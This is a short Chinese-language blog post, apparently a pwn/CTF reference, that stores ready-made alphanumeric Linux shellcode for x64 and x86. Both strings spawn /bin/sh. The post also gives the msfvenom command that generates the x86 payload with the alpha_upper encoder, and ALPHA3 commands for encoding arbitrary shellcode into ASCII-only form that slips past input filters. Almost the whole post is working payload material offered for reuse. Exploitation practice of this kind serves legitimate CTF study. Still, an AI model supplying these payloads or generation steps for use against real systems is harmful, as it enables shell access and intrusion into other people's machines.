纯字母数字shellcode存放
x64 shellcode
1
| shellcode = 'PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA'
|
文章地址
x86 shellcode
msf生成命令
1
| msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax
|
1
| shellcode = 'PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIBJTK0XZ9V2U62HFMBCMYJGRHFORSE8EP2HFO3R3YBNLIJC1BZHDHS05PS06ORB2IRNFOT3RH30PWF3MYKQXMK0AA'
|
alpha3工具生成
x64
sc.bin可以从pwntools里的shellcraft.sh生成，或者其他途径
linux下无法运行，将ALPHA3.py的import test这个test删掉就行
1
| python shellcode.py > sc.bin
|
1
| python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin" > out.bin
|
x86
1
| python ./ALPHA3.py x86 ascii uppercase eax --input="sc.bin" > out.bin
|
本文作者：NoOne
本文地址： https://noonegroup.xyz/posts/8002891b/
版权声明：转载请注明出处！